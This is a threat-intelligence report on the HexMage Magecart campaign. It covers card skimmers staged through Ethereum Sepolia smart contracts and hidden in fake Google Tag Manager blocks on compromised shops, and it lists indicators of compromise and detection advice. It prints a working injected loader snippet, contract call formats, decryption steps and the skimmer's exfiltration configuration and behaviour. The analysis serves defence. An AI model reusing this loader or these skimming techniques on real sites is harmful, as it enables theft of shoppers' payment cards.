The resilient on-chain staging that ClearFake popularized for fake-update malware is now generalizing to new payloads, and this cluster is an example of that spread into the Magecart world.
Overview
This card-skimming attack steals sensitive credit card information from online shoppers by abusing Ethereum smart contracts and staging the skimmer through disposable throwaway domains.
This cluster was detected through malvertising scanning of the ads these compromised merchants run. It combines client-side payment skimming with EtherHiding (staging a payload inside blockchain smart-contract storage), a pairing two other vendors have documented before. What is new here is that the whole cluster resolves to a single enumerable owner wallet. The attackers compromise legitimate e-commerce storefronts (overwhelmingly WooCommerce, with a handful on PrestaShop, Magento and plain WordPress) and inject a small loader into the page server-side, hidden in a Google Tag Manager code block to look like ordinary Ad Tech analytics plumbing.
Confiant has observed 40+ impacted websites across at least fifteen countries (advertisers, in ad-tech terms) since roughly April 2026. We analyzed 25 victim storefronts, 20 distinct Sepolia contracts, and 20 skimmer-hosting domains. Those twenty contracts turn out to share a single owner wallet, and that wallet has deployed 144 of them since March 2026; what surfaced in traffic is a portion of the infrastructure actually standing. All on-chain figures in this report are as of 25 August 2026.
The Malvertising Connection and Ad-Tech Detection
The compromise is server-side, so every visitor to these stores is at risk regardless of how they arrive. These are real merchants running legitimate ads for their websites. The ads they run are incidental to the attack, but they are what lets Confiant see the compromise and shield the shoppers who would arrive at these stores through ads. Confiant scans the ad ecosystem for malvertising, and it is that ad-tech telemetry, rather than any e-commerce integration, that put these backdoored checkouts in front of us.
On all but two of the pages we captured, that malicious loader does something a typical checkout page has no business doing: it pulls the ethers.js web3 library and makes JSON-RPC calls to a public Ethereum RPC endpoint (0xrpc.io) on the Sepolia testnet. There it reads an attacker-controlled smart contract, whose value is not stored as code or even a URL, but a single throwaway domain name. The loader uses this domain with a file path already hardcoded in its own base64 config, appends a <script> pointing at the result, and the browser downloads the actual card skimmer.
The skimmer then overlays the checkout’s payment form, harvests full sensitive payment data tailored to that store’s specific payment gateway, exfiltrates it, and restores the page so the purchase completes normally.
Key factors: EtherHiding meets Magecart card skimming
EtherHiding has, until now, mostly delivered fake-update and ClickFix malware.
ClickFix malware payloads typically result in commodity infostealer malware installed on the victim’s devices. In this cluster, the same “on-chain” dead-drop technique is wired to deliver to a Magecart skimmer, a different type of attack that relies on malicious code injected into legitimate merchant websites to steal sensitive payment data from their customers.
EtherHiding works just as well for MageCart-style skimming.
This cluster uses EtherHiding for a completely different attack: client-side card skimming. The victim never sees a fake update prompt and never runs a command. They just check out at a store they trusted, and their payment information is stolen in transit. Attackers have two groups of victims: the businesses and merchants whose storefronts are compromised AND the shoppers whose payment details are stolen.
Initial Access
Initial access is a server-side compromise of the merchant’s own site. What gets injected into the page carries no attacker-owned domain at all: the loader hides in a Google Tag Manager container, pulls ethers.js from jsDelivr (a legitimate CDN), and holds only a contract address and a bare file path. The delivery domain lives on-chain. Where other EtherHiding clusters use contract storage to hand back a lure page or a malware URL, HexMage keeps just one value there: a hostname. The loader reads it at runtime and glues it onto the path it already carries.
Persistence
These domains are disposable and drawn from a themed wordlist, heavy on dark fantasy, that the attackers generate and register, and the smart contract is the durable command-and-control. That means if you block the domain, the attackers can just rewrite the value in that victim’s contract, and the storefront picks up the new host with no change to the injected code.
Obfuscation
The main obfuscation lives in the skimmer, which is packed with obfuscator.io. On the page, it waits for the shopper to select the card option before the fake form exists at all, but bails out silently if a logged-in WordPress admin is looking, and restores the original DOM after exfiltrating so the purchase completes normally. In many samples we analyzed, it is locked to the hostname the build was cut for, usually but not always the victim being served, so it refuses to unpack anywhere else. The attackers ship the same core skimmer kit in more than one obfuscation wrapper, and behind decoy filenames.
The blockchain cuts both ways
The properties that make on-chain staging attractive to the operator make it legible to everyone else. getText() and owner() are free to read, need no wallet, and leave no trace. That allowed us to pivot from twenty contracts seen in traffic to a single owner wallet, 144 deployed contracts, and 35 delivery domains we had never observed, without touching a single piece of attacker web infrastructure.
Confiant Tracking: how ad scanning surfaced HexMage
Confiant tracks this cluster as HexMage. Hex for the hexadecimal blobs the loader reads straight off the blockchain, and for the older sense of a hex, a curse quietly laid on a victim. Mage for Magecart, the card-skimming family this belongs to, which also overlaps neatly into the gothic dark-fantasy register the attackers seem to choose when naming their domains (bloodthornkeep, ashenravenfort, nightstalkerwatch, voidwalkerforge, shadowrunevail).
1. Background
1.1 Magecart
“Magecart” is the umbrella term for web-based payment card skimming, the digital equivalent of a card skimmer glued onto a gas pump. Attackers inject malicious JavaScript into the checkout page of an online store. When a shopper types their card number, expiry, and CVV into the payment form, the injected script quietly exfiltrates it to the attacker, usually while letting the real transaction go through so nobody notices.
Magecart is not one group but a technique used by different attackers. They are after cardholder data, harvested at the moment it is entered, before it is encrypted and handed to the real payment processor. The injection point is typically either the store’s own compromised code (a vulnerable plugin, a stolen admin credential), or a compromised third-party script loaded by the store.
In recent research published by Sansec, a separate Magecart cluster was found loading its skimmer through Google Tag Manager and hiding the payload itself inside Stripe customer metadata, read back through api.stripe.com/v1/customers Magecart skimmer turns Stripe into a malware command server That actor plants its tags in genuine Google Tag Manager containers served from googletagmanager.com; HexMage only imitates the block and never loads GTM at all.
1.2 EtherHiding
EtherHiding is a payload-hosting technique. Instead of keeping the next stage of an attack on a normal web server (which can be taken down, blocklisted, or seized), the attacker stores it, or a pointer to it, inside the storage of a smart contract on a public blockchain.
Reading data from a smart contract is free. It is an eth_call, a read-only query that requires no wallet, no transaction, and leaves no on-chain trace. Any browser can do it through a public RPC endpoint using a standard web3 library. So the attacker’s loader simply calls the contract, reads back the stored value, and acts on it.
This makes it a good choice for attackers because:
Persistence and Takedown Resistance: No hosting provider to abuse-report, no domain to seize. The blockchain does not take down data.
Cheap rotation. To change the payload or the next-stage URL, the attacker writes one new value to the contract (a single cheap transaction). Every deployed loader picks up the change immediately.
Camouflage. To a network monitor, the traffic is generic JSON-RPC to a public RPC service, with no attacker-owned C2 domain in the logs for that hop.
1.3 The Evolution of EtherHiding
EtherHiding was first documented on the BNB Smart Chain, tied to the ClearFake and UNC5142 activity clusters. Historically, it has been a delivery mechanism for malware: fake browser-update lures, ClickFix-style “copy-paste-this-command”, and various info-stealer and RAT payloads. The on-chain contract typically hands back a script, lure or a malicious URL.
Infoblox places ClearFake inside a much larger economy: it runs its own Keitaro traffic distribution system and then hands victims on to VexTrio, a traffic broker operating since at least 2017 with 60-odd affiliate partners and more than 70,000 known domains. In that model the compromised site is inventory, and the TDS layer decides where each visitor is routed and who gets paid for them. That is context for how the EtherHiding clusters monetise, not an affiliation of this one: we observe no link between HexMage and VexTrio.
Source: VexTrio at the Center of Affiliate Cybercrime Program | Infoblox (Infoblox, January 2024)
Google Threat Intelligence Group and Mandiant documented UNC5142 running the same technique at scale on BNB Smart Chain, reaching roughly 14,000 compromised WordPress pages by June 2025 and delivering a JavaScript downloader they track as CLEARSHORT. That infrastructure went quiet in late July 2025.
Source : New Group on the Block: UNC5142 Leverages EtherHiding to Distribute Malware | Google Cloud Blog
Google Threat Intelligence Group first documented North Korean actors associated with Contagious Interview (UNC5342) pairing EtherHiding with ClickFix in October 2025, reporting use since February 2025 across both BNB Smart Chain and Ethereum. In July 2026 AllSecure documented the current state of that activity, including a malicious Chrome extension and C2 configuration held on Ethereum mainnet. The Hacker News covered the related macOS strand, where malvertising and fake update lures deliver crypto-stealing payloads.
Sources: DPRK-Linked macOS Malvertising Uses Fake Updates to Deliver Crypto-Stealing Malware , ClickFix, EtherHiding & a DPRK Wallet Trail
The skimming branch of that evolution has been documented before. Jscrambler reported a Magecart skimmer staged from BSC-testnet contract storage in October 2025, sharing the Blob plus createObjectURL stage handoff and per-gateway tailoring with this cluster, and Trinity Cyber reported a three-stage chain with a blockchain-retrieved second stage in January 2026. Source Defense described a behaviourally similar Ethereum-based campaign in July 2026 without publishing contract addresses, wallets or domains, so overlap with that work cannot be ruled out in either direction. What is new in HexMage is a cluster tied to a single enumerable owner wallet.
Sources: From Blobs to Blockchain | Skimming Attacks , Lost in the Ether: Unravelling a JavaScript Card Skimming Campaign | Trinity Cyber , Same Playbook, Bigger Stage: A Global Skimming Campaign Adapts to Any Checkout - Source Defense
EtherHiding has spread to other chains. This HexMage cluster abuses Sepolia rather than mainnet, which draws less scrutiny. The transport is 0xrpc.io/sep, an ordinary public RPC.
2. The Victims
The campaign has two distinct victim populations, and it is worth separating them because the harm and the remediation differ for each.
Group 1: The compromised advertiser (the merchant)
These are legitimate online stores whose checkout has been backdoored. In our data, they span verticals, platforms, and at least 15 countries.
For the merchant, the attack is highly damaging: a compromised checkout is direct liability for leaked cardholder data (PCI-DSS exposure), and reputational harm. The backdoor sits on their own site and endangers every shopper who reaches the checkout, no matter how they got there.
The compromise is server-side, sitting in the store’s own code until the merchant cleans it up. In one example, we observed elisacavaletti[.]it compromised in both April and July, which tells us these backdoors can sit unremediated for months.
Group 2: The shopper (the cardholder)
Any shopper who reaches the checkout is exposed, however they got to the store. Put yourself in that seat:
You land on a legitimate store’s product page. Maybe you have even bought products from this merchant before.
You browse, add something to the cart, and reach the checkout. The loader has already run silently and fetched the skimmer.
You type your card details into what looks like the store’s normal payment form. It is a skimmer overlay that mimics the real one, complete with genuine card-brand icons pulled from Stripe’s CDN as decoys.
The skimmer captures your PAN, expiry, CVV, cardholder name, and billing email, then exfiltrates them Base64-encoded over a configurable channel.
Your purchase completes normally. The skimmer restores the original form and lets the real transaction proceed, so nothing looks wrong.
Your card data is stolen, the merchant’s sale succeeds, and neither of you sees anything abnormal.
3. Attack Chain

The attackers break into the merchant’s server and inject a small block of JavaScript into the page. The code is tucked inside what presents as a standard Google Tag Manager block: the familiar <!-- Google Tag Manager --> comment wrapper, the familiar bootstrap line, a GTM- container ID, and then everything operational base64-encoded, so a casual reader or a tag audit sees only atob(...) blobs.
When a shopper loads the store, the loader pulls ethers.js, a standard Ethereum library that a typical online merchant checkout has no reason to load, and uses it to read a value out of an attacker-owned smart contract on Sepolia.
The full chain, reconstructed from network captures, in request order:
GET <storefront>/. The compromised advertiser storefront. The loader is already in the served HTML, injected server-side at the page or tag layer.GET cdn.jsdelivr.net/npm/ethers@5.7.2/dist/ethers.esm.js. Pulls the Ethereum web3 runtime, which has no legitimate reason to load on a retail checkout.OPTIONS https://0xrpc.io/sep, thenPOST. A short run of JSON-RPC guards:eth_chainIdreturns0xaa36a7(Sepolia, 11155111), theneth_blockNumber, then two furthereth_chainIdcalls, request ids 42 through 45.POST https://0xrpc.io/sep(eth_call). The payload is read. Calls the contract assigned to this storefront with getter selector0xe00fe2eband reads back the stored value.GET https://<delivery-host>/<n>/<victim-slug>/<decoy-name>.js. The skimmer is fetched from the domain the contract just handed over.Exfiltrated card data is base64-encoded and sent to the attacker endpoint.
3.1 The EtherHiding / Blockchain Component
Each compromised merchant’s loader points at a specific Sepolia contract, and every contract is queried with a getter function selector 0xe00fe2eb.
Twenty contracts serve the various storefronts we mapped, returning the delivery host. Several serve more than one victim. Decoded, the config gives:
containerIdis not a GTM container; it is the Sepolia contract address.resourcePathis the skimmer path (for marinexperten,/5/marinexperten/main-ydk3on.min.js).moduleSourcesis theethers.jsCDN list (jsDelivr, with unpkg as failover).rpcEndpointsis a list of public Sepolia RPCs (0xrpc.io/sepfirst, then several failovers).contractInterfaceis a one-function ABI fragment declaring a view function namedgetTextreturning a string. That is why we can name the getter rather than infer it from the selector: hashing that signature is what produces the0xe00fe2ebcalldata seen on the wire._gwPwdis the PBKDF2 password for this contract’s envelope, sitting in the page in plain base64.
ClearFake-style clusters put the encoded script or lure page itself on chain, or spread payload URLs across a tiered contract stack. Every value we read out of a HexMage contract was a bare hostname with no scheme, no path and no query string, and the loader supplies the path. The loader does normalise a scheme and strip a trailing slash before concatenating, so the format allows more than the values we happened to observe.
This cluster uses two storage formats, and the split is chronological: every contract deployed up to 29 April 2026 stores a plaintext base64 hostname, and every contract deployed from 19 May 2026 onward stores a sealed envelope, with no mixing on either side of that gap. The operator changed storage format and naming style in the same upgrade, which is why the two groups below also read as naming groups:
“Style” domains: Plaintext base64 host
The value is base64(domain), directly readable. Used by the benign-sounding style* .com hosts (styletimeset.com, stylehailens.com).
Example call and response:
// request
{”method”:”eth_call”,”params”:[{”to”:”0x6332d0e357a7b8209eb3d25e909bfe666db0290b”,”data”:”0xe00fe2eb”},”latest”],”id”:46,”jsonrpc”:”2.0”}
// response (ABI string) decodes to base64 “c3R5bGV0aW1lc2V0LmNvbQ==” -> “styletimeset.com”“Dark Fantasy” domains: Encrypted envelope
Across the envelopes we captured, ciphertexts were only ever 36, 40, or 44 bytes, so the envelope’s length brackets the length of the hostname sealed inside it before anything is decrypted. Cluster-wide the range is wider: two 56-byte envelopes also sit on chain, implying a 30-character hostname. The loader also accepts a four-part variant, where the ciphertext is split across the last two colon-delimited segments and rejoined before decryption, so a parser keyed strictly on three fields will miss those, though we have not yet seen the branch used. Within the captured set the split does not track the TLD: the dark-fantasy hosts are all sealed, including the .com ones (grimwardens[.]com, voidravencitadel[.]com), while the style* hosts whose value we captured are the plaintext ones. warmcoffeetime[.]top fits neither naming group and is sealed, which the deployment date explains: it went up on 19 May, after the cutover.
Example call and response:
// request
{”method”:”eth_call”,”params”:[{”to”:”0xffbc6712ef6b8f4c8542cbc51fc6bbca06b08455”,”data”:”0xe00fe2eb”},”latest”],”id”:46,”jsonrpc”:”2.0”}
// response (ABI string) is a salt:iv:ciphertext envelope, not a readable host
0643da207176d08be423c1184517a390:9fc9c5ac177b61ee6ed4cebda10a2c2f:6886900db6e4bc8c518f4620c7b2a290f38a5ead3bd0d76f516de0972891097b4f66c5a3a88ef60b4932cb85
// PBKDF2(_gwPwd, salt, 100000, SHA-256) -> AES-256-GCM -> base64 -> “bloodboundcitadel[.]top”Common chain infrastructure
These contracts are not anonymous storage. Each is an owner-gated TextStorage contract exposing getText(), setText(string), owner() and transferOwnership(address), and owner() is public. Calling it on all twenty returns the same wallet: 0x88361C914Bb0942da9a1b7Bb396a7513C1917aee. All twenty also return byte-identical 1,415-byte runtime bytecode, sha256 84a8e7a07890558fe82d53d4d0c8f65341fa4275b627b4466f61997ee2bbbbc5, which means the cluster can be enumerated by code hash instead of by waiting for the next victim.
That wallet has deployed 144 of these contracts between 28 March and 21 July 2026, and 156 by 23 August 2026. The twenty we mapped from live traffic are roughly 14 percent of the staging infrastructure standing at the July cutoff, and that denominator keeps moving.
It also puts a number on rotation. Across those 144 contracts, the operator has issued only 15 setText calls in four months, and those calls cluster as same-session bursts on a handful of contracts, which reads as provisioning and debugging. Values are otherwise strikingly stable: re-reading every contract on 25 August 2026, one had been rewritten, on 24 August, and every other value matched our original capture. The capability is real and nearly free, but as deployed, the model is a fresh contract per campaign batch rather than rewriting under pressure.
Because getText() is free to read and needs no authentication, that enumeration also yields delivery domains directly. Reading all 144 contracts returns 41 distinct hostnames stored in plaintext, only six of which appear in the traffic we captured, alongside 83 sealed envelopes that would each yield another host given the matching loader password. The remaining 35 plaintext hosts are listed in the IOCs below. Four of them break both naming conventions entirely, and all four were deployed on 29 April, the last day before the cutover.
A second loader variant skips the blockchain entirely
Two of the 25 pages we captured, parquedelestrecho[.]cl and protocoffee[.]com[.]au, carry the same counterfeit Google Tag Manager wrapper with no config object, no ethers.js import, no RPC call and no contract. The whole loader is a single atob() of the finished skimmer URL:
<!-- Google Tag Manager -->
<script>
!function(e,a,n,t,o,r,c){e.GoogleTagManagerLoaderScript=o;
r=a.createElement(t),c=a.getElementsByTagName(t)[0],r.async=1,
r.src=e.atob(”aHR0cHM6Ly9zdHlsZXJpZ2h0bm93dy5jb20vMS9wYXJxdWVkZWxlc3RyZWNoby9jYWNoZV94MGxiZS5qcw==”);
c.parentNode.insertBefore(r,c)}(window,document,0,”script”,”always”);
</script>
<!-- End Google Tag Manager -->That decodes to https://stylerightnoww[.]com/1/parquedelestrecho/cache_x0lbe.js, and the protocoffee[.]com[.]au copy to https://stylerightnoww[.]com/1/protocoffee/validator_cphlw.js. Both point at the same delivery host and path prefix, stylerightnoww[.]com/1/, which three contract-driven victims also use, so one operator is running two delivery paths side by side. Because these pages never call a contract, no contract can be attributed to them from traffic, and any detection keyed on a checkout page issuing JSON-RPC misses them entirely. The signal below covers both variants.
Detection: one signal covers both loader variants
The counterfeit block pushes gtm.start onto dataLayer and defines a GoogleTagManagerLoaderScript global, but it never creates the googletagmanager.com/gtm.js script tag that ends a real GTM snippet. On sugarfactory.hr both blocks sit on the same page: the merchant’s genuine container fetches gtm.js, and the injected one never does. Key the rule on that absent fetch. Neither blockchain-free page carries a GTM- container id at all, so a rule keyed on the container id misses both of them, and the ethers.js and JSON-RPC tells miss them too.
3.2 Seen live: the loader chain on marinexperten.dk (July 2026)
In July 2026, marinexperten.dk, a Danish marine-electronics retailer on WooCommerce, was a victim of this attack. This store checks out through ePay Denmark, whose hosted payment window is ssl.ditonlinebetalingssystem.dk, where the card is normally entered off-site. The skimmer sidesteps that entirely: it waits for the shopper to select the card option, then replaces the ePay payment box with its own inline fake form and hides the genuine ePay logo.
To a shopper, the page looks completely normal. Everything below runs silently in the background in a fraction of a second.

<!-- Google Tag Manager --> comments to look benign.Along the way, it also pulls ethers.js (v5.7.2) from a public CDN, a web3 library a marine-equipment checkout has no reason to load.
Using ethers, the loader issues a read-only eth_call to the attacker’s Sepolia contract 0xffBc6712...08455. The calldata 0xe00fe2eb is the getText() getter. This is the moment it reads the dead-drop. To a network monitor it is just generic JSON-RPC to a public RPC endpoint.

salt:iv:ciphertext envelope, the hidden encrypted payload living in blockchain storage.The contract’s reply: an ABI-encoded string holding a salt:iv:ciphertext envelope, the hidden encrypted payload living in blockchain storage. Decrypting it (PBKDF2 + AES-GCM, using key material baked into the loader in Figure 1) resolves to the delivery host bloodboundcitadel[.]top, and the loader injects a <script> to fetch the skimmer from bloodboundcitadel[.]top/5/marinexperten/main-ydk3on.min.js.
Start to finish, the loader turned a value stored on a public blockchain into a live skimmer on the merchant’s checkout, without a single attacker-owned domain appearing until the very last request. The blockchain calls happen in the loader code that fetches it, not in the skimmer itself.
3.3 The MageCart Component: The Skimmer
The delivered file is the final skimmer, and the attackers ship the same core kit in more than one obfuscation wrapper and behind decoy filenames.
3.3.1 One kit, shipped bare or inside a domain-locked wrapper
Across the skimmer samples that were analyzed, each one resolves to the same underlying kit: an obfuscator.io-packed skimmer driven by a shared config schema. The difference lies in whether the attackers ship it bare or wrap it in two extra layers keyed to the victim’s own hostname:
Bare (obfuscator.io only)
The bare form (for example brokenvelvetdream[.]top/.../vendor.chunk.d9ewq7.js, styletimeset.com/.../validator-cache.js) is a string-array function of roughly 700 entries read through a Base64 accessor with a custom lowercase-first alphabet, plus an array-rotation IIFE and a self-defence cache guard.
Wrapped (2 extra layers, host-keyed)
The wrapped form (for example grimwardens.com/2N/dandycompany/recaptcha-layout.js, bloodboundcitadel[.]top/5/marinexperten/main-ydk3on.min.js) adds:
Stage 1, host-keyed.
atobfollowed by a rotating XOR. The key is a per-build literal prefix concatenated with a hash oflocation.hostnamein base 36, with^www.stripped and the host lowercased. The hash is the h = ((h << 5) - h) + charCodeAt variant, truncated to int32 each round (h = h & h), that is multiply-by-31 rather than djb2’s 33, and it closes withreturn Math.abs(h). That finalMath.absmatters: it is what decides the key for any host whose 32-bit hash goes negative. Decode with any other hostname, and you get garbage, so each copy only unpacks on the site it was built for.Stage 2, static. A triple-XOR pass with three hardcoded keys, applied in reverse order.
Every stage is injected as a Blob through URL.createObjectURL and a fresh <script>, so the decoded source never exists as a static string in the file.
The keys are per-build. Prefixes and stage-2 keys differ from site to site, so there is no single master key to publish. Observed stage-1 prefixes include 186hW9Nf (dandycompany.it), J7gncy37 (marinexperten.dk), REz2hPTR (centralskirting.co.uk), TllNG3Xl (exdron.com), and lfKvukLr (sugarfactory.hr). All wrapped samples carry the hostname-hash construct.
3.3.2 Skimmer Behavior
The kit is config-driven, which is why the delivered file carries no hardcoded C2:
Exfil endpoints come from a config object, present in every sample:
serverUrl(itself base64-in-config,atob-decoded at runtime), plusfetchGetUrl,beaconUrl,phpProxyUrl,cspProxyUrl,imagePixelUrl,txnIdUrl,emailUrl,orderUrl, andredirect_url.statsUrlappears in only ten.Exfil transports, all present in every sample, though only enableFetchGet is switched on in the builds we decoded:
enableWebSocket,enableFetchGet,enableBeacon(navigator.sendBeacon),enableImagePixel(Image().src),enableCspBypass. Payloads are base64-encoded before send. Diagnostic markers are common but not universal:[INFO] Payload (base64):in 17 samples, though not the same 17.[✗] All enabled send methods failed or are disabled!in the same 17 samples.Form injection. It builds hidden or offscreen overlay forms and iframes, kept alive by a
MutationObserver. Fields are#cardNum,#exp,#cvv(namecvc), styled with genuine Stripe card-brand SVGs as decoy icons. Builds vary theirpf<NN>_class prefix (pf14_,pf20_,pf34_,pf40_,pf50_observed) and setdata-gw-popup-overlay, which is universal rather than wrapped-only. Thedata-gateway-idanddata-injected-formattributes are build-specific rather than kit-wide, appearing in 7 and 10 samples respectively.Gateway tailoring. Each build is cut for the processor that the merchant actually uses, with a matching fake form. Confirmed by deobfuscation:
1. ePay (Denmark): .payment_box.payment_method_epay_dk
2. Yaad / Hyp (Israel): .payment_box.payment_method_yaadpay
3. zCredit (Israel): .payment_box.payment_method_zcredit_checkout_payment
4. EuPlatesc (Romania): .payment_box.payment_method_euplatesc
5. IGFS / Banca Sella (Italy): .wc_payment_method.payment_method_igfs
6. Stripe UPE (global): #wc-stripe-upe-form
7. PhonePe (India): .payment_box.payment_method_phonepe
8. PayPal PPCP (global): .wc_payment_method.payment_method_ppcp-card-button-gateway
9. HyperPay (MENA): .payment_box.payment_method_hyperpay
10. WSPay (Croatia): .payment_box.payment_method_wspay-payment-gateway
11. Viva Wallet (Greece): #vivawallet_native-card-number
12. Transbank Webpay (Chile): .payment_box.payment_method_transbank_webpay_plus_rest
13. SSLCommerz (Bangladesh): input[name=”payment_method”][value=”ssl_commerce”]
14. WooCommerce offline CC (-): #offline_cc-card-number
15. FunnelKit Stripe (global): #payment_method_fkwcs_stripe
16. Monetico (PrestaShop) (France): input[name=”payment-option”][data-module-name=”MoneticoPaiement”]
17. Redsys (PrestaShop) (Spain): input[name=”payment-option”][data-module-name=”redsys”]
18. PrestaShop generic (-): input[name=”payment-option”][data-module-name=”“]The Stripe builds are the most compelling: going beyond regional payment processors and impersonating the most widely deployed checkout UI on the web. The fake form is a clone of Stripe Elements that reuses genuine Stripe class names (p-Icon--lock, p-CardBrandIcon, p-CardCvcIcons-svg) and renders a counterfeit Stripe Link banner reading “Secure, fast checkout with Link”.
In nearly every build, the fake form is gated: injectImmediately: false plus an input[name="payment_method"][value="<slug>"]:checked trigger. The card fields simply do not exist until the shopper picks that payment option, making the theft surface invisible to a casual look at the checkout.
3.3.3 Skimmer Features
Hides from the Merchant to maintain persistence: excludeAdmins is present in every sample and aborts the skimmer outright when a logged-in staff session is detected - on WordPress builds, by looking for the admin bar. A site owner checking their own checkout while signed in sees nothing wrong, which is a large part of why these compromises persist for months. The specific detections vary by build.
Some builds check whether the card is plausibly real: Ten of the samples validate the PAN before exfiltrating: at least 13 digits, then a blacklist of seven standard test cards (4111111111111111, 4242424242424242, 5500000000000004, 5105105105105100, 378282246310005, 371449635398431, 6011111111111117), then Luhn. On failure, it red-borders #cardNum and attaches a one-shot input listener that clears the styling, so the victim simply retypes. Sitting above all of it is a single hardcoded exception, if (pan === “8888888888888888”) return true, almost certainly the operator’s own test card, and a redundant one: that PAN is sixteen digits, absent from the blacklist, and already Luhn-valid, so it would pass regardless. Our 5555 5555 5555 4444 canary still went through on marinexperten.dk because that number is not on the blacklist and passes Luhn.
It persists what it steals: Harvested checkout fields are mirrored into localStorage under an mn_ key prefix in every sample, and several builds monkey-patch localStorage.setItem to block empty overwrites ([PROTECTED] Blocked empty overwrite for:), which keeps captured values alive across the checkout’s AJAX refreshes. Those keys remain in the shopper’s browser after the purchase, which makes them a usable forensic artifact on a machine suspected of having checked out through a compromised store.
Decoy filenames: Delivery filenames masquerade as ordinary build or analytics artifacts, for example: vendor.chunk.d9ewq7.js, cache-encoder.js, cookie-rxny2.bundle.js, and, misleadingly, recaptcha-layout.js. That last one reads suspiciously like a ClickFix lure, but deobfuscating it turned up the skimmer instead, so the filename is pure camouflage.
Cover-up: After exfil, it typically restores the original DOM ([RESTORE] Restoring original forms after data send...) and supports reloadAfterSend and redirect_url so the real payment completes and the theft is invisible.
Anti-analysis: A devToolsDetection flag, numeric-only keydown handlers on card fields, heavy CSS cloaking, and, in the wrapped form, the hostname-hash domain-lock. Exfil is gated behind checkout events (updated_checkout, payment_method_selected) and timers, so it does not fire under static analysis. It was shipped in every sample, though switched off in the builds we decoded.
Every sample carries a Russian month-name table, both full and abbreviated, sitting in the string array beside the English one: январь through декабрь and янв through дек. It is a date-parsing locale table rather than a comment, so it is a builder artifact rather than a slip.
3.3.4 How the skimmer steals the card: a live capture marinexperten[.]dk

That swap is trigger-gated: selecting the card radio fires it (insertMode: replace-simple on .payment_box.payment_method_epay_dk), and a MutationObserver keeps the fake form in place across the checkout’s AJAX refreshes. Because it fires only on that selection, a shopper who never expands the card option is quietly passed through with no fake form injected and no card data captured. The injection itself, captured live, is the animation near the top of this report.
The moment the shopper clicks place order (#place_order), the skimmer harvests the card fields plus the billing details it scraped from the checkout, base64-encodes a JSON blob, and sends it with a fetch GET to a PHP collector.
GET https://bloodboundcitadel[.]top/5/marinexperten/base-config.php?<random>=<base64>, with Origin and Referer of marinexperten.dk. The query-parameter name is randomized on every send, which defeats naive query-key signatures. Our browser identifiers are redacted here.
The exfil destination is not fixed across the cluster. The config stores either a bare PHP filename or a fully qualified URL; where a bare filename resolves depends on the build. Three patterns observed:
1. http://marinexperten[.]dk (wrapped): The skimmer host,
via window.__gwScriptBase: bloodboundcitadel.top/5/marinexperten/base-config.php
2. http://aromaray.co.il (bare): An absolute URL to the skimmer host:
styletimeset.com/2/aromaray/page-process-up.php
3. http://timemag.ro (bare): the victim’s own domain:
timemag.ro/lib-update-lib.php
4. Indicators of Compromise
4.1 Delivery domains
ashenravenfort[.]top, bloodboundcitadel[.]top, bloodthornkeep[.]top, brokenvelvetdream[.]top, darkflamewatch[.]top, frozennebularhy[.]top, frozenwildheart[.]top, grimwardens[.]com, nightstalkerwatch[.]top, ravenstonekeep[.]top, shadowrunevail[.]top, styleoutspin[.]com, stylerightnoww[.]com, styleteleport[.]com, styletimeset[.]com, styleussles[.]com, stylehailens[.]com, voidravencitadel[.]com, voidwalkerforge[.]top, warmcoffeetime[.]topAdditional attacker hosts recovered on-chain. These are staged rather than observed: only three of the 35 appear in our traffic data at all, so the list is the operator provisioning delivery capacity ahead of use. Checked on 25 August 2026, 34 of the 35 resolved.
blueoceanbreeze[.]org,styleferry[.]com,stylekay[.]com,stylerunningg[.]com,smartpeoplework[.]info,stylegamagee[.]com,styleleftt[.]com,styleshort[.]com,streetfleshroyalgaming[.]top,stylegamingg[.]com,styleouresen[.]com,stylestyk[.]com,styleanimal[.]com,stylehelloman[.]com,stylepenalty[.]com,styletray[.]com,stylebonus[.]com,stylehersi[.]com,styleranked[.]com,styletropik[.]com,styleboosted[.]com,stylehipp[.]com,stylerazorr[.]com,styletumor[.]com,stylecaving[.]com,stylehotrod[.]com,stylewify[.]com,sunnydaycoffees[.]net,stylecholera[.]com,stylejunglee[.]com,styleconnectorr[.]com,stylekanions[.]com,styledespair[.]com,styledupstep[.]com,styleember[.]com4.2 On-chain (Sepolia)
RPC endpoint used by the loader: 0xrpc.io/sep
Chain: Sepolia testnet (chainId 0xaa36a7 / 11155111)
Getter selector: 0xe00fe2eb (eth_call)
Owner wallet (all contracts): 0x88361C914Bb0942da9a1b7Bb396a7513C1917aee
Contract runtime bytecode: 1,415 bytes, sha256
84a8e7a07890558fe82d53d4d0c8f65341fa4275b627b4466f61997ee2bbbbc5
Contracts deployed by owner: 144 (2026-03-28 to 2026-07-21)
Setter selector: 0x5d3a1f9d setText(string)4.3 Mega Table
Contract (Sepolia) | Malicious Delivery host | Format | Victim storefront(s)
1. Contract: 0x77fedd16e94a86d2797bfecc9b82199790188620 | Host: brokenvelvetdream[.]top | Format: encrypted | Victim(s): b-ami[.]co[.]il
2. Contract: 0x6bcf6ffce66317335d2928a31dc4e6efade765e6 | Host: nightstalkerwatch[.]top | Format: encrypted | Victim(s): dobrastrankahydromasaze[.]cz, webdehidromasaj[.]ro
3. Contract: 0x51e3f029209c210fa8946c219644394aae71224d | Host: frozennebularhy[.]top | Format: encrypted | Victim(s): timemag[.]ro
4. Contract: 0xf8290bea4e7585302ba9984b76766d4f0e282c0e | Host: ashenravenfort[.]top | Format: encrypted | Victim(s): iservicejo[.]com
5. Contract: 0xf56f2af13080ea86c718849139fbf404b5050558 | Host: frozenwildheart[.]top | Format: encrypted | Victim(s): premiumtoner[.]gr, gtagiftbaskets[.]ca
6. Contract: 0x4b6170a49090fae965527e222515c2224fe73dd5 | Host: voidwalkerforge[.]top | Format: encrypted | Victim(s): sugarfactory[.]hr
7. Contract: 0x515cfebd53a860c311d583b74a8b02a78a7884e0 | Host: shadowrunevail[.]top | Format: encrypted | Victim(s): centralskirting[.]co[.]uk, exdron[.]com
8. Contract: 0xd641493ea15a3f3b3de327401c8cd63e36236bfb | Host: bloodthornkeep[.]top | Format: encrypted | Victim(s): bazzarking[.]com
9. Contract: 0x46e18e042e0aa3fd7a29df15058c8672c197c644 | Host: grimwardens[.]com | Format: encrypted | Victim(s): dandycompany[.]it
10. Contract: 0xffBc6712ef6B8f4C8542Cbc51fc6BBca06B08455 | Host: bloodboundcitadel[.]top | Format: encrypted (recovered) | Victim(s): marinexperten[.]dk
11. Contract: 0xFF2ff2dE4BF5434A160b666a1a17559fb454eEE2 | Host: warmcoffeetime[.]top | Format: encrypted (recovered) | Victim(s): targetbaits[.]co[.]uk
